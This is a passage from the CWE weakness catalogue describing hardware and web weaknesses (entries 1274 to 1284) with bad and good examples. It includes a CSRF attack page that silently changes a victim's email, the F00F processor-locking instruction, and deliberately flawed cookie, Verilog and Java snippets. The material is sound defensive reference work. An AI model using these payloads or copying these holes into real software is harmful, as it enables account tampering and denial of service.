Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Modify Memory Read Memory Modify Files or Directories Read Files or Directories Modify Application Data Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism *Once unlock credentials are compromised, an attacker can use the credentials to unlock the device and gain unauthorized access to the hidden functionalities protected by those credentials.*	

Potential Mitigations

Phase: Integration

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Phase: Manufacturing

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of compromised credentials.

Example Language: *(bad)*

Suppose a semiconductor chipmaker, “C”, uses the foundry “F” for fabricating its chips. Now, F has many other customers in addition to C, and some of the other customers are much smaller companies. F has dedicated teams for each of its customers, but somehow it mixes up the unlock credentials and sends the unlock credentials of C to the wrong team. This other team does not take adequate precautions to protect the credentials that have nothing to do with them, and eventually the unlock credentials of C get leaked.

When the credentials of multiple organizations are stored together, exposure to third parties occurs frequently.

Example Language: *(good)*

Vertical integration of a production company is one effective method of protecting sensitive credentials. Where vertical integration is not possible, strict access control and need-to-know are methods which can be implenmented to reduce these risks.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

This entry is still under development and will continue to see updates and content improvements.

CWE-1274: Insufficient Protections on the Volatile Memory Containing Boot Code

Weakness ID : 1274 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The protections on the product's non-volatile memory containing boot code are insufficient to prevent the bypassing of secure boot or the execution of an untrusted, boot code chosen by an adversary.

Extended Description

As a part of secure-boot process, a System-on-Chip's (SoC) read-only-memory (ROM) code fetches bootloader code from Non-Volatile Memory (NVM) and stores the code in Volatile Memory (VM), such as dynamic, random-access memory (DRAM)/static, random-access memory (SRAM). The NVM is usually external to the SoC while the VM is internal to the SoC. As the code is transferred from NVM to VM, it is authenticated by the SoC's ROM code.

If the volatile-memory-region protections or access controls are insufficient to prevent modifications from an adversary or untrusted agent, the secure boot may be bypassed or replaced with the excution of an adversary’s code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Authentication	Modify Memory	High

Scope	Impact	Likelihood
	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

During this phase, ensure that the design of volatile-memory protections are enough to prevent modification from an adversary or untrusted code.

Phase: Testing

Test the volatile-memory protections to ensure they are safe from modification or untrusted code.

Demonstrative Examples

Example 1:

A typical SoC secure boot's flow includes fetching the next piece of code (i.e., the boot loader) from NVM (e.g., serial, peripheral interface (SPI) flash), and transferring it to DRAM/SRAM volatile, internal memory. The advantage of using DRAM/SRAM is that the access time is faster and cheaper per byte than NVM.

Example Language: *(bad)*

The volatile-memory protections or access controls are insufficient.

The memory from where the boot loader executes can be modified by an adversary.

Example Language: *(good)*

A good architecture should define appropriate protections or access controls to prevent modification by an adversary or untrusted agent, once the bootloader is authenticated.

Observed Examples

Reference	Description
CVE-2019-2267	Locked regions might be modified through other interfaces in secure-boot-loader image due to improper, access control *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2267*

CWE-1275: Sensitive Cookie with Improper SameSite Attribute

Weakness ID : 1275 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The SameSite attribute for sensitive cookies is not set, or an insecure value is used.

Extended Description

The SameSite attribute controls how cookies are sent for cross-domain requests. This attribute may have three values: 'Lax', 'Strict', or 'None'. If the 'None' value is used, a website may create a cross-domain POST HTTP request to another website, and the browser automatically adds cookies to this request. This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		352	Cross-Site Request Forgery (CSRF)	773

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Non-Repudiation Access Control	Modify Application Data *If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a "simple" "Content-Type" header in the HTTP request and many more.*	Low

Potential Mitigations

Phase: Implementation

Set the SameSite attribute of a sensitive cookie to 'Lax' or 'Strict'. This instructs the browser to apply this cookie only to same-domain requests, which provides a good Defense in Depth against CSRF attacks. When the 'Lax' value is in use, cookies are also sent for top-level cross-domain navigation via HTTP GET, HEAD, OPTIONS, and TRACE methods, but not for other HTTP methods that are more like to cause side-effects of state mutation.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies.

Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: JavaScript *(bad)*

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com' }
response.cookie('sessionid', sessionId, cookieOptions)
```

Since the sameSite attribute is not specified, the cookie will be sent to the website with each request made by the client. An attacker who can potentially perform CSRF attack by using the following malicious page:

Example Language: HTML *(attack)*

```
<html>
  <form id=evil action="http://local:3002/setEmail" method="POST">
  <input type="hidden" name="newEmail" value="abc@example.com" />
  </form>
  <script>evil.submit()</script>
  </html>
```

When the client visits this malicious web page, it submits a '/setEmail' POST HTTP request to the vulnerable website. Since the browser automatically appends the 'sessionid' cookie to the request, the website automatically performs a 'setEmail' action on behalf of the client.

To mitigate the risk, use the sameSite attribute of the 'sessionid' cookie set to 'Strict'.

Example Language: JavaScript *(good)*

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com', sameSite: 'Strict' }
response.cookie('sessionid', sessionId, cookieOptions
```

CWE-1276: Hardware Block Incorrectly Connected to Larger System

Weakness ID : 1276 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Signals between a hardware IP and the larger system design are incorrectly connected.

Extended Description

Individual hardware IP must communicate with the larger system in order for the product to function correctly and as intended. If implemented incorrectly, these various inputs and output interactions may cause security issues that will not necessarily manifest as functional bugs. For example, if the IP should only be reset by a system-wide hard reset, but instead the reset input is connected to a software-triggered debug mode reset (which is also asserted during a hard reset), integrity of data inside the IP can be violated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context	

Potential Mitigations

Phase: Testing

System-level verification is essential to ensure that components are correctly connected and that design security requirements are not violated due to interactions between various IP blocks.

Demonstrative Examples

Example 1:

Many SoCs use hardware to partition system resources between secure/trusted and non-secure/ un-trusted entities. An example of this is Arm TrustZone, in which the processor and all security-aware IP must isolate resources based on the status of a privilege bit. This privilege bit is part of the input interface in all TrustZone-aware IP. If this privilege bit is accidentally grounded or left unconnected when the IP is instantiated, privilege escalation of all input data can occur.

Example Language: Verilog *(bad)*

```
// IP definition
module tz_peripheral(clk, reset, data_in, data_in_security_level, ...);
input clk, reset;
input [31:0] data_in;
input data_in_security_level;
...
endmodule
```

```
// Instantiation of IP in a larger system

module soc(...)

...

tz_peripheral u_tz_peripheral(

.clk(clk),

.rst(rst),

.data_in(rdata),

//Copy-and-paste error or typo grounds data_in_security_level (in this example 0=secure, 1=non-secure) effectively promoting all data to “secure”)

.data_in_security_level(1'b0),

);

...

endmodule
```

In the Verilog code below, the security level input to the TrustZone aware peripheral is correctly driven by an appropriate signal instead of being grounded.

Example Language: Verilog *(good)*

```
// Instantiation of IP in a larger system

module soc(...)

...

tz_peripheral u_tz_peripheral(

.clk(clk),

.rst(rst),

.data_in(rdata),

// This port is no longer grounded, but instead drive by the appropriate signal

.data_in_security_level(rdata_security_level),

);

...

endmodule
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1197	Integration Issues	1194	2008

CWE-1277: Firmware Not Updateable

Weakness ID : 1277 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's firmware cannot be updated, which leaves persistent weaknesses with no means of patching them.

Extended Description

The inability to patch the product's firmware means that any weaknesses therein cannot be mitigated through an update. This leaves the system/device open to potential exploitation of the inherent weaknesses present. External protective measures and mitigations can be employed to aid in preventing malicious behavior, but the root weakness cannot be corrected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control Authentication Authorization	Gain Privileges or Assume Identity Bypass Protection Mechanism Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *An attacker can leverage access to (or mapping of) the firmware to gain unauthorized access to the system's operation and configuration information. This knowledge can be used to determine the most effective method of exploiting the present weakness(es). If an attacker can identify a flaw in a device that can be exploited, this attack may apply across the entire class of devices since they cannot be updated. Likelihood of negative impact will depend on the prevalence and accessibility of the devices. If they are commodity (home) use devices, they are highly likely to be experimented on. If limited use commercial devices (low accessibility) then the likelihood is lower.*	Medium

Potential Mitigations

Phase: Requirements

Specify requirements to provide the ability to update firmware.

Phase: Architecture and Design

Design the device to allow for updating the firmware.

Phase: Implementation

Implement necessary functionality to allow for updating the firmware.

Demonstrative Examples

Example 1:

An employee's mobile device is decommissioned due to end of life but sensitive user information, network certificates, and encryption keys are left in device memory/storage.

Example Language: Other *(bad)*

This device is obtained by a malicious individual; either through re-seller or nefarious means. System forensics (e.g. chip decapping) is used to reveal system memory and storage data. Examination of these leads to acquisition of critical and/or sensitive data which can be used to bypass access control, impersonate individuals, or otherwise access potentially proprietary information.

Example Language: Other *(good)*

Device is scrubbed of sensitive/critical information prior to decommissioning (e.g. resell or disposal). Once obtained by another individual, they are unable to extract any critical or sensitive data since it is not present on the device.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques

Weakness ID : 1278 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Secrets stored in hardware can be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

Extended Description

The physical structure of the hardware, if viewed at high enough magnification and resolution, can reveal the functionality and data stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from non-invasive (high resolution x-ray microscopy) to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.

The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist. Memory technologies such as masked ROM are easier to extract secrets from than One-time Programmable (OTP) memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context *A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.*	

Potential Mitigations

Phase: Architecture and Design

Cost of effort to extract secrets via IC reverse engineering should outweigh the potential value of the secrets being disclosed. Appropriate technologies should be chosen to store design secrets based on threat model and secret value. Examples include IC camoflaging and obfuscation, tamper-proof packaging, active shielding, and circuitry to erase sensitive data upon detection of physical tampering.

Demonstrative Examples

Example 1:

Consider a SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic itself meaning it cannot be modified after fabrication and is identical for all ICs. An attacker in possession of the IC can decapsulate and delayer the chip. After imaging the layers, computer vision algorithms or manual inspection of the circuit features can locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.

MemberOf Relationships

CWE-1279: Cryptographic Primitives used without Successful Self-Test

Weakness ID : 1279 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Using crypto primitives without ensuring that they have passed the self-tests might result in the exposure of sensitive information and/or other consequences.

Extended Description

Cryptographic primitives are hardware units that are supposed to perform certain cryptographic tasks. As is the case with many systems, for both hardware and software, in order to perform correctly, a system must first attain a certain state that can be considered a valid, starting point. In other words, it can be stated that the system has now been properly initialized. However, in order to reach this valid, initial state, the system needs to have performed certain tasks and/or obtained certain other data from other parts of the system. For example, a cryptographic unit that depends on an external, random-number-generator (RNG) unit for entropy must get a signal from the RNG unit that the RNG unit is ready to supply random numbers if asked. Or maybe a symmetric, cryptographic unit retrieves its private encryption key from a fuse unit; hence, it must ensure that the fuse unit is up and running before it can pull the fuse with the corresponding key.

However, even when the system reaches this supposedly valid, initial state, the system must “validate” that this state is indeed valid. To do this, the system performs a series of tests and compares the result with the expected values. This test is often called Power-On Self-Test (POST), Built-In Self-test (BIST), or just self-test in short. If the results of the self-test do not match the expected values, then the system assumes that something went wrong with the initialization process, and, resultingly, the system can no longer be trusted to perform its tasks reliably.

To ensure the sanctity of the self-test process, when the self-test goes on, usually the regular input, output, and other external interfaces are not made available.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality Integrity Availability Accountability Authentication Authorization Non-Repudiation	Varies by Context *Usage of crypto primitives without successful self-test could render the supposedly encrypted data as unencrypted plaintext in the worst case. This would compromise any security property, including the ones listed above.*	

Potential Mitigations

Phase: Architecture and Design

Follow sensible 'best practices' for crypto system design. For example, ensure the crypto system performs a power-on self-test at boot time, and that self-test results can't be ignored or overridden.

Effectiveness = High

Phase: Implementation

Depending on the specific cryptographic function the unit is providing, it might be necessary to perform additional, conditional self-tests periodically, e.g., using pairwise-consistency tests for RSA, DSA, and ECDSA signature keys. Also, the system should be insulated from all influences during self-test--no input signals allowed.

Effectiveness = High

Demonstrative Examples

Example 1:

The following pseudocode demonstrates this vulnerability where the architect deemed it OK to ignore the result of a self-test from an RNG. Assume the output from the RNG is used to seed yet another pseudo-random-number generator.

Example Language: Other *(bad)*

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else Seed = hardcoded_number
```

In the example above, first we are checking if the RNG is ready by performing a self-test on the RNG. If it fails, we just ignore the result and use some hardcoded, constant value. This action of ignoring the self-test result and using a constant seed is going to reduce the entropy of the cryptographic function using that seed and thereby weaken it.

Example Language: Other *(good)*

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else enter_error_state()
```

CWE-1280: Access Control Check Implemented After Asset is Accessed

Weakness ID : 1280 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A product's hardware-based access control check occurs after the asset has been accessed.

Extended Description

The product implements a hardware-based access control check. The asset should be only be accessible after the check is successful. If, however, this operation is not atomic and the asset is accessed before the check completes, the security of the system is undermined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ChildOf	G	696	Incorrect Behavior Order	1348

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality Integrity	Modify Memory Read Memory Modify Application Data Read Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Implement the access control check first. Access should only be given to asset if agent is authorized.

Demonstrative Examples

Example 1:

Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access.

Example Language: Verilog *(bad)*

```
module foo_bar(data_out, usr_id, data_in, clk, rst_n);

output reg [7:0] data_out;;

input wire [2:0] usr_id;

input wire [7:0] data_in;

input wire clk, rst_n;

wire grant_access;

always @ (posedge clk or negedge rst_n)

begin

   if (!rst_n)
      data_out = 0;
   else
      data_out = (grant_access) ? data_in : data_out;
      assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
   end
endmodule
```

This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since grant_access does not have a reset value, it will be metastable and will randomly go to either 0 or 1.

Example Language: Verilog *(good)*

Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.

```
always @ (posedge clk or negedge rst_n)
begin
    if (!rst_n)
        data_out = 0;
    else
        assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
        data_out = (grant_access) ? data_in : data_out;
    end
endmodule
```

CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire)

Weakness ID : 1281 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.

Extended Description

If the instruction set architecture (ISA) and processor logic are not designed carefully, and tested thoroughly, certain combinations of instructions may lead to locking the processor or other unexpected and undesirable behavior. Upon encountering unimplemented instruction opcodes or illegal instruction operands the processor should throw an exception and carry on without negatively impacting security. However, specific combinations of legal and illegal instructions may cause unexpected behavior with security implications such as allowing unprivileged programs to completely lock the CPU.

Some examples are the Pentium f00f bug, MC6800 HCF, the Cyrix comma bug, and more generally other "Halt and Catch Fire" instructions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Varies by Context	

Potential Mitigations

Phase: Testing

Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.

Phase: Patching and Maintenance

Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behaviour. See [REF-1108].

Demonstrative Examples

Example 1:

The Pentium F00F bug is a real-world example of how a sequence of instructions can lock a processor. The “cmpxchg8b” instruction compares contents of registers with a memory location. The operand is expected to be a memory location, but in the bad code snippet it is the eax register. Because the specified operand is illegal, an exception is generated, which is the correct behavior and not a security issue in itself. However, when prefixed with the “lock” instruction, the processor deadlocks because locked memory transactions require a read and write pair of transactions to occur before the lock on the memory bus is released. The exception causes a read to occur but there is no corresponding write, as there would have been if a legal operand had been supplied to the cmpxchg8b instruction.

Example Language: Other *(bad)*

```
lock cmpxchg8b eax
```

Observed Examples

Reference	Description
CVE-1999-1420	A bug in Intel Pentium processor (MMX and Overdrive) allows local users to cause a denial of service (hang) in Intel-based operating systems such as Windows NT and Windows 95, via an invalid instruction, aka the "Invalid Operand with Locked CMPXCHG8B Instruction" problem. *https://nvd.nist.gov/vuln/detail/CVE-1999-1476*

CWE-1282: Assumed-Immutable Data Stored in Writable Memory

Weakness ID : 1282 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed/updated in the field.

Extended Description

Security services such as secure boot, authentication of code and data, and device attestation all require assets such as the first stage bootloader, public keys, golden hash digests, etc. which are implicitly trusted. Storing these assets in read-only memory (ROM), fuses, or one-time programmable (OTP) memory provides strong integrity guarantees and provides a root of trust for securing the rest of the system. Security is lost if assets assumed to be immutable can be modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

Potential Mitigations

Phase: Implementation

All immutable code or data should be programmed into ROM or write-once memory.

Demonstrative Examples

Example 1:

Cryptographic hash functions are commonly used to create unique fixed-length digests used to ensure the integrity of code and keys. A golden digest is stored on the device and compared to the digest computed from the data to be verified. If the digests match, the data has not been maliciously modified. If an attacker can modify the golden digest this provides the ability to create arbitrary data that passes the verification check. Hash digests used to verify public keys and early stage boot code should be immutable, with the strongest protection offered by hardware immutability.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2010

Notes

Maintenance

This entry is still in under development and will continue to see updates and content improvements, especially as it relates to CWE-1233.

CWE-1283: Mutable Attestation or Measurement Reporting Data

Weakness ID : 1283 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.

Extended Description

A System-on-Chip (SoC) implements secure boot or verified boot. During this boot flow, the SoC often measures the code that it authenticates. The measurement is usually done by calculating the one-way hash of the code binary and extending it to the previous hash. The hashing algorithm should be a Secure One-Way hash function. The final hash, i.e., the value obtained after the completion of the boot flow, serves as the measurement data used in reporting or in attestation. The calculated hash is often stored in registers that can later be read by the party of interest to determine tampering of the boot flow. A common weakness is that the contents in these registers are modifiable by an adversary, thus spoofing the measurement.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Measurement data should be stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.

Demonstrative Examples

Example 1:

The SoC extends the hash and stores the results in registers. Without protection, an adversary can write their chosen hash values to these registers. Thus, the attacker controls the reported results.

To prevent the above scenario, the registers should have one or more of the following properties:

1. Should be Read-Only with respect to an adversary
2. Cannot be extended or modifiable either directly or indirectly (using a trusted agent as proxy) by an adversary
3. Should have appropriate access controls or protections

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1284: Improper Validation of Specified Quantity in Input

Weakness ID : 1284 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

Extended Description

Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	B	606	Unchecked Input for Loop Condition	1207
ParentOf	V	789	Uncontrolled Memory Allocation	1474

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java *(bad)*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

